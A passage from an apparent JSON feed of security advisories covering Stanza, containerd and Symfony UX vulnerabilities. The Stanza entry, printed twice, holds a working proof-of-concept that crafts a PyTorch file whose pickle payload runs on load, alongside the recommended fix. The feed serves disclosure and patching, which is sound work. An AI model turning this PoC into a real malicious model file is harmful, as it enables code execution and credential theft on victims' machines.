3.0.9 contains a fix. Other operator mitigations include: keeping MCP disabled unless required; setting a non-empty `mcp-query_endpoint_auth` token before exposing `\/mcp\/query`; restricting MCP listener network exposure; configuring MCP backend target credentials as database-level read-only users; and adding temporary MCP query rules to block obvious multi-statement patterns.",
            "date_published": "2026-06-20T18:00:47+00:00",
            "date_modified": "2026-06-20T18:00:47+00:00",
            "authors": [{ "name": "VulnWatch" }],
            "tags": [  ]
        },
        {
            "id": "https://vulnwatch.ai/019ee28a-bfeb-70ad-b8fd-fb95e01e6b22",
            "title": "Stanza: Remote Code Execution via Unsafe Pickle Deserialization in Model Loaders",
            "url": "https://github.com/advisories/GHSA-v5jw-96jm-7h2c",
            "content_html": "### Summary\n\nStanza 1.12.0 attempts to safely load PyTorch checkpoint files using `torch.load(..., weights_only=True)`, but automatically falls back to the fully unsafe `torch.load(..., weights_only=False)` when the safe load raises `pickle.UnpicklingError`. Because the `UnpicklingError` condition is fully attacker-controllable, any `.pt` file that contains a single unsupported pickle global will trigger it.\n\nAn attacker who can place a malicious pretrain or model file on disk (via supply-chain compromise, a poisoned model repository, or a shared model cache) can achieve arbitrary code execution on any machine that loads a Stanza NLP pipeline. \n\nCode execution occurs inside the Stanza pretrain-loading API, not merely by calling `torch.load` directly.\n\n\n### Details\n\nThe vulnerable code is in [pretrain.py#L59-L67](https:\/\/github.com\/stanfordnlp\/stanza\/blob\/main\/stanza\/models\/common\/pretrain.py#L59-L67) (Stanza 1.12.0):\n\n```python\ntry:\n    data = torch.load(self.filename, lambda storage, loc: storage, weights_only=True)\nexcept UnpicklingError:\n    data = torch.load(self.filename, lambda storage, loc: storage, weights_only=False)\n```\n\nWhen `weights_only=True` is passed, PyTorch's deserializer raises `pickle.UnpicklingError` for any object whose class or callable is not on the safe-globals allowlist. This is the intended safety mechanism. However, Stanza catches that exception and immediately reloads the **same attacker-controlled file** with `weights_only=False`, which invokes Python's full pickle deserializer and executes any `__reduce__` method in the file without restriction.\n\nThe fallback is triggered reliably and intentionally: an attacker embeds one unsupported pickle global (e.g., `builtins.open`) anywhere in an otherwise structurally valid Stanza pretrain state dict. The safe load rejects it; the unsafe reload runs it.\n\n**The same try\/except pattern exists in at least five additional loaders in Stanza 1.12.0:**\n\n| File | Lines |\n|------|-------|\n| `stanza\/models\/common\/pretrain.py` | 64\u201366 |\n| `stanza\/models\/coref\/model.py` | 251\u2013253, 329\u2013331 |\n| `stanza\/models\/classifiers\/trainer.py` | 80\u201382 |\n| `stanza\/models\/constituency\/base_trainer.py` | 94\u201396 |\n\nAdditionally, `stanza\/models\/lemma_classifier\/base_model.py:127` calls `torch.load(filename, lambda storage, loc: storage)` with no `weights_only` argument at all, which defaults to `False` on any PyTorch < 2.6.\n\nThe call chain from the public API to the vulnerable fallback is:\n\n```\nstanza.models.common.foundation_cache.load_pretrain(path)\n  \u2192 FoundationCache.load_pretrain(path)\n    \u2192 stanza.models.common.pretrain.Pretrain(filename)\n      \u2192 Pretrain.emb  (property access triggers load)\n        \u2192 Pretrain.load()\n          \u2192 torch.load(..., weights_only=True)   # raises UnpicklingError\n          \u2192 torch.load(..., weights_only=False)  # executes arbitrary pickle\n```\n\n---\n\n### PoC\n\n**Environment:** Python 3.11, `stanza==1.12.0`, `torch==2.12.0`\n\n**Step 1: Install dependencies:**\n```bash\npip install stanza==1.12.0 torch==2.12.0\n```\n\n**Step 2: Save the following as `exploit.py`:**\n\n```python\nimport os\nfrom pathlib import Path\n\nimport torch\nimport stanza\nfrom stanza.models.common.foundation_cache import FoundationCache, load_pretrain\nfrom stanza.models.common.vocab import VOCAB_PREFIX\n\nSENTINEL = \"\/tmp\/stanza_rce_proof\"\nMODEL    = \"\/tmp\/stanza_malicious.pt\"\n\nclass HarmlessPayload:\n    \"\"\"Demonstrates execution; writes a sentinel file.\"\"\"\n    def __init__(self, path):\n        self.path = path\n    def __reduce__(self):\n        return (open, (self.path, \"w\"))\n\n# Build a structurally valid Stanza pretrain state dict with the payload embedded.\nwords = VOCAB_PREFIX + [\"hello\"]\nstate = {\n    \"vocab\": {\n        \"lang\": \"\", \"idx\": 0, \"cutoff\": 0, \"lower\": False,\n        \"_id2unit\": words,\n        \"_unit2id\": {w: i for i, w in enumerate(words)},\n    },\n    \"emb\": torch.zeros((len(words), 2), dtype=torch.float32),\n    \"payload\": HarmlessPayload(SENTINEL),   # \u2190 the malicious object\n}\ntorch.save(state, MODEL)\n\n# Confirm safe-only load raises UnpicklingError and does NOT create sentinel.\ntry:\n    torch.load(MODEL, lambda s, l: s, weights_only=True)\n    print(\"UNEXPECTED: safe load succeeded (no fallback needed)\")\nexcept Exception as e:\n    print(f\"Control: safe load raised {type(e).__name__} : sentinel exists: {Path(SENTINEL).exists()}\")\n\n# Load through the real Stanza API. The fallback fires and the sentinel is created.\ncache   = FoundationCache()\npretrain = load_pretrain(MODEL, foundation_cache=cache)\n\nprint(f\"stanza={stanza.__version__}  torch={torch.__version__}\")\nprint(f\"emb_shape={tuple(pretrain.emb.shape)}\")\nprint(f\"sentinel_exists={Path(SENTINEL).exists()}\")\nprint(\"VERDICT: ACTUAL_VULN_REAL_STANZA_PATH\" if Path(SENTINEL).exists() else \"VERDICT: UNPROVEN\")\n```\n\n**Step 3 : Run:**\n```bash\npython exploit.py\n```\n\n**Expected output (confirmed):**\n```\nControl: safe load raised UnpicklingError : sentinel exists: False\nstanza=1.12.0  torch=2.12.0\nemb_shape=(5, 2)\nsentinel_exists=True\nVERDICT: ACTUAL_VULN_REAL_STANZA_PATH\n```\n\nThe sentinel is created exclusively by the Stanza pretrain-loading API invoking the unsafe fallback : not by a direct `torch.load` call in the PoC.\n\n---\n\n### Impact\n\n**Vulnerability class:** CWE-502 : Deserialization of Untrusted Data\n\n**Who is impacted:** Any user, researcher, CI\/CD pipeline, or production NLP service that loads a Stanza model pretrain file from a source that is not under the victim's exclusive cryptographic control. Concretely:\n\n- Developers who run `stanza.Pipeline(lang)` after downloading models from HuggingFace or GitHub\n- CI pipelines that automatically refresh Stanza models during builds\n- Research environments that share pretrain files over shared network storage or model repositories\n\n**Attack prerequisites:** The attacker must be able to place a malicious `.pt` pretrain file at a path that Stanza will load. Realistic delivery vectors include:\n- Compromise of a HuggingFace model repository hosting Stanza pretrain weights\n- Poisoning of a shared model cache directory (NFS, S3, artifact store)\n- A malicious pretrain file distributed via a third-party fine-tuning hub or research repo\n\n**What an attacker achieves:** Arbitrary code execution with the full privileges of the process running `stanza.Pipeline()`, typically a developer workstation, a Jupyter notebook server, or a GPU training node. This allows credential theft (HuggingFace tokens, cloud IAM keys from environment variables), persistent backdoors, data exfiltration, and lateral movement in multi-tenant training infrastructure.\n\n**Recommended fix:**\n\nRemove the unsafe fallback entirely. If `weights_only=True` raises `UnpicklingError`, fail closed:\n\n```python\ntry:\n    data = torch.load(self.filename, lambda storage, loc: storage, weights_only=True)\nexcept UnpicklingError as e:\n    raise RuntimeError(\n        f\"Refusing to load legacy pretrain file {self.filename!r} with unsafe \"\n        \"deserialization. Regenerate the file using a trusted Stanza migration tool.\"\n    ) from e\n```\n\nIf legacy NumPy-containing pretrain files must be supported, use PyTorch's `add_safe_globals()` API to allowlist the specific NumPy dtypes required, rather than disabling all safety checks. Apply the same fix to all six affected loaders listed above.",
            "summary": "### Summary\n\nStanza 1.12.0 attempts to safely load PyTorch checkpoint files using `torch.load(..., weights_only=True)`, but automatically falls back to the fully unsafe `torch.load(..., weights_only=False)` when the safe load raises `pickle.UnpicklingError`. Because the `UnpicklingError` condition is fully attacker-controllable, any `.pt` file that contains a single unsupported pickle global will trigger it.\n\nAn attacker who can place a malicious pretrain or model file on disk (via supply-chain compromise, a poisoned model repository, or a shared model cache) can achieve arbitrary code execution on any machine that loads a Stanza NLP pipeline. \n\nCode execution occurs inside the Stanza pretrain-loading API, not merely by calling `torch.load` directly.\n\n\n### Details\n\nThe vulnerable code is in [pretrain.py#L59-L67](https:\/\/github.com\/stanfordnlp\/stanza\/blob\/main\/stanza\/models\/common\/pretrain.py#L59-L67) (Stanza 1.12.0):\n\n```python\ntry:\n    data = torch.load(self.filename, lambda storage, loc: storage, weights_only=True)\nexcept UnpicklingError:\n    data = torch.load(self.filename, lambda storage, loc: storage, weights_only=False)\n```\n\nWhen `weights_only=True` is passed, PyTorch's deserializer raises `pickle.UnpicklingError` for any object whose class or callable is not on the safe-globals allowlist. This is the intended safety mechanism. However, Stanza catches that exception and immediately reloads the **same attacker-controlled file** with `weights_only=False`, which invokes Python's full pickle deserializer and executes any `__reduce__` method in the file without restriction.\n\nThe fallback is triggered reliably and intentionally: an attacker embeds one unsupported pickle global (e.g., `builtins.open`) anywhere in an otherwise structurally valid Stanza pretrain state dict. The safe load rejects it; the unsafe reload runs it.\n\n**The same try\/except pattern exists in at least five additional loaders in Stanza 1.12.0:**\n\n| File | Lines |\n|------|-------|\n| `stanza\/models\/common\/pretrain.py` | 64\u201366 |\n| `stanza\/models\/coref\/model.py` | 251\u2013253, 329\u2013331 |\n| `stanza\/models\/classifiers\/trainer.py` | 80\u201382 |\n| `stanza\/models\/constituency\/base_trainer.py` | 94\u201396 |\n\nAdditionally, `stanza\/models\/lemma_classifier\/base_model.py:127` calls `torch.load(filename, lambda storage, loc: storage)` with no `weights_only` argument at all, which defaults to `False` on any PyTorch < 2.6.\n\nThe call chain from the public API to the vulnerable fallback is:\n\n```\nstanza.models.common.foundation_cache.load_pretrain(path)\n  \u2192 FoundationCache.load_pretrain(path)\n    \u2192 stanza.models.common.pretrain.Pretrain(filename)\n      \u2192 Pretrain.emb  (property access triggers load)\n        \u2192 Pretrain.load()\n          \u2192 torch.load(..., weights_only=True)   # raises UnpicklingError\n          \u2192 torch.load(..., weights_only=False)  # executes arbitrary pickle\n```\n\n---\n\n### PoC\n\n**Environment:** Python 3.11, `stanza==1.12.0`, `torch==2.12.0`\n\n**Step 1: Install dependencies:**\n```bash\npip install stanza==1.12.0 torch==2.12.0\n```\n\n**Step 2: Save the following as `exploit.py`:**\n\n```python\nimport os\nfrom pathlib import Path\n\nimport torch\nimport stanza\nfrom stanza.models.common.foundation_cache import FoundationCache, load_pretrain\nfrom stanza.models.common.vocab import VOCAB_PREFIX\n\nSENTINEL = \"\/tmp\/stanza_rce_proof\"\nMODEL    = \"\/tmp\/stanza_malicious.pt\"\n\nclass HarmlessPayload:\n    \"\"\"Demonstrates execution; writes a sentinel file.\"\"\"\n    def __init__(self, path):\n        self.path = path\n    def __reduce__(self):\n        return (open, (self.path, \"w\"))\n\n# Build a structurally valid Stanza pretrain state dict with the payload embedded.\nwords = VOCAB_PREFIX + [\"hello\"]\nstate = {\n    \"vocab\": {\n        \"lang\": \"\", \"idx\": 0, \"cutoff\": 0, \"lower\": False,\n        \"_id2unit\": words,\n        \"_unit2id\": {w: i for i, w in enumerate(words)},\n    },\n    \"emb\": torch.zeros((len(words), 2), dtype=torch.float32),\n    \"payload\": HarmlessPayload(SENTINEL),   # \u2190 the malicious object\n}\ntorch.save(state, MODEL)\n\n# Confirm safe-only load raises UnpicklingError and does NOT create sentinel.\ntry:\n    torch.load(MODEL, lambda s, l: s, weights_only=True)\n    print(\"UNEXPECTED: safe load succeeded (no fallback needed)\")\nexcept Exception as e:\n    print(f\"Control: safe load raised {type(e).__name__} : sentinel exists: {Path(SENTINEL).exists()}\")\n\n# Load through the real Stanza API. The fallback fires and the sentinel is created.\ncache   = FoundationCache()\npretrain = load_pretrain(MODEL, foundation_cache=cache)\n\nprint(f\"stanza={stanza.__version__}  torch={torch.__version__}\")\nprint(f\"emb_shape={tuple(pretrain.emb.shape)}\")\nprint(f\"sentinel_exists={Path(SENTINEL).exists()}\")\nprint(\"VERDICT: ACTUAL_VULN_REAL_STANZA_PATH\" if Path(SENTINEL).exists() else \"VERDICT: UNPROVEN\")\n```\n\n**Step 3 : Run:**\n```bash\npython exploit.py\n```\n\n**Expected output (confirmed):**\n```\nControl: safe load raised UnpicklingError : sentinel exists: False\nstanza=1.12.0  torch=2.12.0\nemb_shape=(5, 2)\nsentinel_exists=True\nVERDICT: ACTUAL_VULN_REAL_STANZA_PATH\n```\n\nThe sentinel is created exclusively by the Stanza pretrain-loading API invoking the unsafe fallback : not by a direct `torch.load` call in the PoC.\n\n---\n\n### Impact\n\n**Vulnerability class:** CWE-502 : Deserialization of Untrusted Data\n\n**Who is impacted:** Any user, researcher, CI\/CD pipeline, or production NLP service that loads a Stanza model pretrain file from a source that is not under the victim's exclusive cryptographic control. Concretely:\n\n- Developers who run `stanza.Pipeline(lang)` after downloading models from HuggingFace or GitHub\n- CI pipelines that automatically refresh Stanza models during builds\n- Research environments that share pretrain files over shared network storage or model repositories\n\n**Attack prerequisites:** The attacker must be able to place a malicious `.pt` pretrain file at a path that Stanza will load. Realistic delivery vectors include:\n- Compromise of a HuggingFace model repository hosting Stanza pretrain weights\n- Poisoning of a shared model cache directory (NFS, S3, artifact store)\n- A malicious pretrain file distributed via a third-party fine-tuning hub or research repo\n\n**What an attacker achieves:** Arbitrary code execution with the full privileges of the process running `stanza.Pipeline()`, typically a developer workstation, a Jupyter notebook server, or a GPU training node. This allows credential theft (HuggingFace tokens, cloud IAM keys from environment variables), persistent backdoors, data exfiltration, and lateral movement in multi-tenant training infrastructure.\n\n**Recommended fix:**\n\nRemove the unsafe fallback entirely. If `weights_only=True` raises `UnpicklingError`, fail closed:\n\n```python\ntry:\n    data = torch.load(self.filename, lambda storage, loc: storage, weights_only=True)\nexcept UnpicklingError as e:\n    raise RuntimeError(\n        f\"Refusing to load legacy pretrain file {self.filename!r} with unsafe \"\n        \"deserialization. Regenerate the file using a trusted Stanza migration tool.\"\n    ) from e\n```\n\nIf legacy NumPy-containing pretrain files must be supported, use PyTorch's `add_safe_globals()` API to allowlist the specific NumPy dtypes required, rather than disabling all safety checks. Apply the same fix to all six affected loaders listed above.",
            "date_published": "2026-06-20T01:00:04+00:00",
            "date_modified": "2026-06-20T01:00:04+00:00",
            "authors": [{ "name": "VulnWatch" }],
            "tags": [  ]
        },
        {
            "id": "https://vulnwatch.ai/019ee28a-bff4-7196-80fb-4dcf0a474c5d",
            "title": "Arbitrary host CRI log file read via symlink following in CRI checkpoint restore",
            "url": "https://github.com/advisories/GHSA-rgh6-rfwx-v388",
            "content_html": "### Impact\nA bug was found in containerd where the CRI plugin restores `container.log` from a checkpoint image without validating a symlinked path. This could result in reading an arbitrary file on the host via `kubectl logs`.\n\n### Patches\nThis bug has been fixed in the following containerd versions:\n\n* 2.3.2\n* 2.2.5\n* 2.1.9\n\nUsers should update to these versions to resolve the issue.\n\n### Workarounds\nEnsure that only trusted images and checkpoints are used.\n\n### Credits\nThe containerd project would like to thank @gouldnicholas and @davidrxchester, Yuming Zhang and Song Li of Zhejiang University, Sangwon Ryu (@sangwon090), Henry Beberman (@hbeberman) of Microsoft, the GKE Security Team using Gemini, Anthropic Research, in collaboration with Claude, Robert Prast (@robertprast),\nKyle Elliott (@kyle-elliott-tob) of Trail of Bits, and Zhenchen Wang (@Plucky923), who independently discovered and responsibly disclosed this issue in accordance with the [containerd security policy](https:\/\/github.com\/containerd\/project\/blob\/main\/SECURITY.md).\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n\n* Open an issue in [containerd](https:\/\/github.com\/containerd\/containerd\/issues\/new\/choose)\n* Email us at [security@containerd.io](mailto:security@containerd.io)\n\nTo report a security issue in containerd:\n* [Report a new vulnerability](https:\/\/github.com\/containerd\/containerd\/security\/advisories\/new)\n* Email us at [security@containerd.io](mailto:security@containerd.io)",
            "summary": "### Impact\nA bug was found in containerd where the CRI plugin restores `container.log` from a checkpoint image without validating a symlinked path. This could result in reading an arbitrary file on the host via `kubectl logs`.\n\n### Patches\nThis bug has been fixed in the following containerd versions:\n\n* 2.3.2\n* 2.2.5\n* 2.1.9\n\nUsers should update to these versions to resolve the issue.\n\n### Workarounds\nEnsure that only trusted images and checkpoints are used.\n\n### Credits\nThe containerd project would like to thank @gouldnicholas and @davidrxchester, Yuming Zhang and Song Li of Zhejiang University, Sangwon Ryu (@sangwon090), Henry Beberman (@hbeberman) of Microsoft, the GKE Security Team using Gemini, Anthropic Research, in collaboration with Claude, Robert Prast (@robertprast),\nKyle Elliott (@kyle-elliott-tob) of Trail of Bits, and Zhenchen Wang (@Plucky923), who independently discovered and responsibly disclosed this issue in accordance with the [containerd security policy](https:\/\/github.com\/containerd\/project\/blob\/main\/SECURITY.md).\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n\n* Open an issue in [containerd](https:\/\/github.com\/containerd\/containerd\/issues\/new\/choose)\n* Email us at [security@containerd.io](mailto:security@containerd.io)\n\nTo report a security issue in containerd:\n* [Report a new vulnerability](https:\/\/github.com\/containerd\/containerd\/security\/advisories\/new)\n* Email us at [security@containerd.io](mailto:security@containerd.io)",
            "date_published": "2026-06-20T01:00:04+00:00",
            "date_modified": "2026-06-20T01:00:04+00:00",
            "authors": [{ "name": "VulnWatch" }],
            "tags": [  ]
        },
        {
            "id": "https://vulnwatch.ai/019ee28a-bffc-70c2-bc87-36bff0a80cb7",
            "title": "containerd CRI \u2014 image-config `LABEL` flows to restart-monitor `binary:\/\/` logger: host-root command execution from an image pull",
            "url": "https://github.com/advisories/GHSA-xhf5-7wjv-pqxp",
            "content_html": "### Impact\nA bug was found in containerd where the CRI plugin propagates labels from an image config (`LABEL` instruction in Dockerfile) to a container without validation. This may result in executing an arbitrary command on the host, via a plugin that consumes container labels for some operations.\n\n### Patches\nThis bug has been fixed in the following containerd versions:\n\n* 2.3.2\n* 2.2.5\n* 2.1.9\n* 2.0.10\n* 1.7.33\n\nUsers should update to these versions to resolve the issue.\n\n### Workarounds\nEnsure that only trusted images are used.\n\n### Credits\nThe containerd project would like to thank Anthropic Research, in collaboration with Claude, the GKE Security Team using Gemini, and Robert Prast (@robertprast) for independently discovering and responsibly disclosing this issue in accordance with the [containerd security policy](https:\/\/github.com\/containerd\/project\/blob\/main\/SECURITY.md).\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n\n* Open an issue in [containerd](https:\/\/github.com\/containerd\/containerd\/issues\/new\/choose)\n* Email us at [security@containerd.io](mailto:security@containerd.io)\n\nTo report a security issue in containerd:\n* [Report a new vulnerability](https:\/\/github.com\/containerd\/containerd\/security\/advisories\/new)\n* Email us at [security@containerd.io](mailto:security@containerd.io)",
            "summary": "### Impact\nA bug was found in containerd where the CRI plugin propagates labels from an image config (`LABEL` instruction in Dockerfile) to a container without validation. This may result in executing an arbitrary command on the host, via a plugin that consumes container labels for some operations.\n\n### Patches\nThis bug has been fixed in the following containerd versions:\n\n* 2.3.2\n* 2.2.5\n* 2.1.9\n* 2.0.10\n* 1.7.33\n\nUsers should update to these versions to resolve the issue.\n\n### Workarounds\nEnsure that only trusted images are used.\n\n### Credits\nThe containerd project would like to thank Anthropic Research, in collaboration with Claude, the GKE Security Team using Gemini, and Robert Prast (@robertprast) for independently discovering and responsibly disclosing this issue in accordance with the [containerd security policy](https:\/\/github.com\/containerd\/project\/blob\/main\/SECURITY.md).\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n\n* Open an issue in [containerd](https:\/\/github.com\/containerd\/containerd\/issues\/new\/choose)\n* Email us at [security@containerd.io](mailto:security@containerd.io)\n\nTo report a security issue in containerd:\n* [Report a new vulnerability](https:\/\/github.com\/containerd\/containerd\/security\/advisories\/new)\n* Email us at [security@containerd.io](mailto:security@containerd.io)",
            "date_published": "2026-06-20T01:00:04+00:00",
            "date_modified": "2026-06-20T01:00:04+00:00",
            "authors": [{ "name": "VulnWatch" }],
            "tags": [  ]
        },
        {
            "id": "https://vulnwatch.ai/019ee28a-c00e-7085-9cea-3eba5edad9ae",
            "title": "containerd: CRI checkpoint import allows local image tag poisoning",
            "url": "https://github.com/advisories/GHSA-cvxm-645q-p574",
            "content_html": "## Impact\ncontainerd's CRI checkpoint import process contains a vulnerability where it fails to validate the image references specified within a checkpoint image's configuration. An attacker with permissions to create pods can use a crafted checkpoint image to force containerd to pull a malicious image and assign it an arbitrary local tag, thereby poisoning the node's local image cache. Subsequently, if other pods on the same node attempt to use the poisoned tag with an `IfNotPresent` (or `Never`) pull policy, they will unknowingly execute the attacker's malicious image instead of the legitimate one. This can lead to a compromise of the affected pods, allowing the attacker to execute arbitrary code under the victim pod's identity.\n\n## Patches\nThis bug has been fixed in the following containerd versions:\n\n* 2.3.2\n* 2.2.5\n* 2.1.9\n\nUsers should update to these versions to resolve the issue.\n## Workarounds\nUsers should only allow trusted images to be pulled.\n\n## Credits\nThe containerd project would like to thank Henry Beberman (@hbeberman) of Microsoft, the GKE Security Team using Gemini, Anthropic Research, in collaboration with Claude, and Robert Prast (@robertprast) who independently discovered and responsibly disclosed this issue in accordance with the [containerd security policy](https:\/\/github.com\/containerd\/project\/blob\/main\/SECURITY.md).\n\n## For more information\nIf you have any questions or comments about this advisory:\n\n* Open an issue in [containerd](https:\/\/github.com\/containerd\/containerd\/issues\/new\/choose)\n* Email us at [security@containerd.io](mailto:security@containerd.io)\n\nTo report a security issue in containerd:\n* [Report a new vulnerability](https:\/\/github.com\/containerd\/containerd\/security\/advisories\/new)\n* Email us at [security@containerd.io](mailto:security@containerd.io)",
            "summary": "## Impact\ncontainerd's CRI checkpoint import process contains a vulnerability where it fails to validate the image references specified within a checkpoint image's configuration. An attacker with permissions to create pods can use a crafted checkpoint image to force containerd to pull a malicious image and assign it an arbitrary local tag, thereby poisoning the node's local image cache. Subsequently, if other pods on the same node attempt to use the poisoned tag with an `IfNotPresent` (or `Never`) pull policy, they will unknowingly execute the attacker's malicious image instead of the legitimate one. This can lead to a compromise of the affected pods, allowing the attacker to execute arbitrary code under the victim pod's identity.\n\n## Patches\nThis bug has been fixed in the following containerd versions:\n\n* 2.3.2\n* 2.2.5\n* 2.1.9\n\nUsers should update to these versions to resolve the issue.\n## Workarounds\nUsers should only allow trusted images to be pulled.\n\n## Credits\nThe containerd project would like to thank Henry Beberman (@hbeberman) of Microsoft, the GKE Security Team using Gemini, Anthropic Research, in collaboration with Claude, and Robert Prast (@robertprast) who independently discovered and responsibly disclosed this issue in accordance with the [containerd security policy](https:\/\/github.com\/containerd\/project\/blob\/main\/SECURITY.md).\n\n## For more information\nIf you have any questions or comments about this advisory:\n\n* Open an issue in [containerd](https:\/\/github.com\/containerd\/containerd\/issues\/new\/choose)\n* Email us at [security@containerd.io](mailto:security@containerd.io)\n\nTo report a security issue in containerd:\n* [Report a new vulnerability](https:\/\/github.com\/containerd\/containerd\/security\/advisories\/new)\n* Email us at [security@containerd.io](mailto:security@containerd.io)",
            "date_published": "2026-06-20T01:00:04+00:00",
            "date_modified": "2026-06-20T01:00:04+00:00",
            "authors": [{ "name": "VulnWatch" }],
            "tags": [  ]
        },
        {
            "id": "https://vulnwatch.ai/019ee28a-c023-703c-b2fc-e19b5692ae49",
            "title": "symfony\/ux-live-component: CSRF Protection Bypass \u2014 Accept Header is CORS-Safelisted",
            "url": "https://github.com/advisories/GHSA-4m4j-hmqq-3gxm",
            "content_html": "### Description\n\nWhen using `symfony\/ux-live-component`, methods annotated with `#[LiveAction]` are invokable from the browser and mutate server-side state via AJAX. `Symfony\\UX\\LiveComponent\\EventListener\\LiveComponentSubscriber::isLiveComponentRequest()` gated these invocations on the presence of `Accept: application\/vnd.live-component+html`, with a code comment stating that this acted as a CSRF protection.\n\nThe `Accept` header is a [CORS-safelisted request header](https:\/\/fetch.spec.whatwg.org\/#cors-safelisted-request-header), so a cross-origin `fetch()` can set it without triggering a preflight. The header therefore provided no CSRF protection. Any `#[LiveAction]` could be forged cross-origin against a victim's session.\n\nIn practice the attack is mitigated by `SameSite=Lax` session cookies (Symfony's default), but applications using `SameSite=None`, `credentials: 'include'` with a permissive cookie policy, or that have been pivoted from another same-origin vector remained exposed.\n\n### Resolution\n\n`isLiveComponentRequest()` now additionally requires the request header `X-Requested-With: XMLHttpRequest`. This header is **not** CORS-safelisted, so the browser issues a preflight `OPTIONS` request for any cross-origin attempt; Symfony does not advertise CORS for LiveComponent endpoints, the preflight fails, and the real request is blocked before it reaches the application. The bundled Stimulus client already sends `X-Requested-With` on every LiveComponent request (`RequestBuilder.ts`), so standard usage is unaffected. Cross-origin callers must add `X-Requested-With` to their CORS `Access-Control-Allow-Headers` allow-list.\n\nThe patch for this issue is available [here](https:\/\/github.com\/symfony\/ux\/commit\/aed7493db2b4b7bf1f9c79b33cda544f06904b27) for branch 2.x (and forward-ported to 3.x).\n\n### Credits\n\nSymfony would like to thank Anthropic (via Project Glasswing) for reporting the issue and Hugo Alliaume for providing the fix.",
            "summary": "### Description\n\nWhen using `symfony\/ux-live-component`, methods annotated with `#[LiveAction]` are invokable from the browser and mutate server-side state via AJAX. `Symfony\\UX\\LiveComponent\\EventListener\\LiveComponentSubscriber::isLiveComponentRequest()` gated these invocations on the presence of `Accept: application\/vnd.live-component+html`, with a code comment stating that this acted as a CSRF protection.\n\nThe `Accept` header is a [CORS-safelisted request header](https:\/\/fetch.spec.whatwg.org\/#cors-safelisted-request-header), so a cross-origin `fetch()` can set it without triggering a preflight. The header therefore provided no CSRF protection. Any `#[LiveAction]` could be forged cross-origin against a victim's session.\n\nIn practice the attack is mitigated by `SameSite=Lax` session cookies (Symfony's default), but applications using `SameSite=None`, `credentials: 'include'` with a permissive cookie policy, or that have been pivoted from another same-origin vector remained exposed.\n\n### Resolution\n\n`isLiveComponentRequest()` now additionally requires the request header `X-Requested-With: XMLHttpRequest`. This header is **not** CORS-safelisted, so the browser issues a preflight `OPTIONS` request for any cross-origin attempt; Symfony does not advertise CORS for LiveComponent endpoints, the preflight fails, and the real request is blocked before it reaches the application. The bundled Stimulus client already sends `X-Requested-With` on every LiveComponent request (`RequestBuilder.ts`), so standard usage is unaffected. Cross-origin callers must add `X-Requested-With` to their CORS `Access-Control-Allow-Headers` allow-list.\n\nThe patch for this issue is available [here](https:\/\/github.com\/symfony\/ux\/commit\/aed7493db2b4b7bf1f9c79b33cda544f06904b27) for branch 2.x (and forward-ported to 3.x).\n\n### Credits\n\nSymfony would like to thank Anthropic (via Project Glasswing) for reporting the issue and Hugo Alliaume for providing the fix.",
            "date_published": "2026-06-20T01:00:04+00:00",
            "date_modified": "2026-06-20T01:00:04+00:00",
            "authors": [{ "name": "VulnWatch" }],
            "tags": [  ]
        },
        {
            "id": "https://vulnwatch.ai/019ee28a-c03b-719d-bfd2-118dfb280e6f",
            "title": "symfony\/ux-live-component: LiveComponentHydrator HMAC checksum lacks component and slot binding",
            "url": "https://github.com/advisories/GHSA-34w5-c283-j9fg",
            "content_html": "### Description\n\nIn `symfony\/ux-live-component`, a component's server-side state is exposed to the browser as a set of props (`#[LiveProp]`-annotated properties). Props marked `writable: true` can be freely changed by the client. Read-only props are round-tripped to the browser and back, and their integrity is protected by an HMAC so the client cannot tamper with them. Child components additionally receive a `propsFromParent` blob, also HMAC-signed.\n\nThe HMAC computed by `Symfony\\UX\\LiveComponent\\LiveComponentHydrator` covered only the sorted prop key\/value pairs. It didn't include the component name, the slot identifier (`props` vs `propsFromParent`), or any request context, and a single application-wide secret is used for every component. A signed blob the server minted for component A is therefore a valid signature for component B if the key names happen to match, and a `props` blob can be replayed in the `propsFromParent` slot (or the reverse). An attacker can use this to set a read-only prop on a target component to a value they were only ever allowed to choose as a writable prop on another component.\n\n### Resolution\n\nThe HMAC is now bound to its context: the component name and a slot identifier are included in the pre-image before hashing. Two constants (`CHECKSUM_SLOT_PROPS` and `CHECKSUM_SLOT_PROPS_FROM_PARENT`) name the two slots, and `calculateChecksum()`, `verifyChecksum()`, `addChecksumToData()`, and `ChildComponentPartialRenderer` thread these values through. Cross-component and cross-slot replays no longer verify.\n\nThe patch for this issue is available [here](https:\/\/github.com\/symfony\/ux\/commit\/a224b5af3e2e33ee14ac71356ae0e0877900a81c) for branch 2.x (and forward-ported to 3.x).\n\n### Credits\n\nSymfony would like to thank Anthropic (via Project Glasswing) for reporting the issue and Hugo Alliaume for providing the fix.",
            "summary": "### Description\n\nIn `symfony\/ux-live-component`, a component's server-side state is exposed to the browser as a set of props (`#[LiveProp]`-annotated properties). Props marked `writable: true` can be freely changed by the client. Read-only props are round-tripped to the browser and back, and their integrity is protected by an HMAC so the client cannot tamper with them. Child components additionally receive a `propsFromParent` blob, also HMAC-signed.\n\nThe HMAC computed by `Symfony\\UX\\LiveComponent\\LiveComponentHydrator` covered only the sorted prop key\/value pairs. It didn't include the component name, the slot identifier (`props` vs `propsFromParent`), or any request context, and a single application-wide secret is used for every component. A signed blob the server minted for component A is therefore a valid signature for component B if the key names happen to match, and a `props` blob can be replayed in the `propsFromParent` slot (or the reverse). An attacker can use this to set a read-only prop on a target component to a value they were only ever allowed to choose as a writable prop on another component.\n\n### Resolution\n\nThe HMAC is now bound to its context: the component name and a slot identifier are included in the pre-image before hashing. Two constants (`CHECKSUM_SLOT_PROPS` and `CHECKSUM_SLOT_PROPS_FROM_PARENT`) name the two slots, and `calculateChecksum()`, `verifyChecksum()`, `addChecksumToData()`, and `ChildComponentPartialRenderer` thread these values through. Cross-component and cross-slot replays no longer verify.\n\nThe patch for this issue is available [here](https:\/\/github.com\/symfony\/ux\/commit\/a224b5af3e2e33ee14ac71356ae0e0877900a81c) for branch 2.x (and forward-ported to 3.x).\n\n### Credits\n\nSymfony would like to thank Anthropic (via Project Glasswing) for reporting the issue and Hugo Alliaume for providing the fix.",
            "date_published": "2026-06-20T01:00:04+00:00",
            "date_modified": "2026-06-20T01:00:04+00:00",
            "authors": [{ "name": "VulnWatch" }],
            "tags": [  ]
        },
        {
            "id": "https://vulnwatch.ai/019ee10a-2dc7-704f-b728-780aa699d5c8",
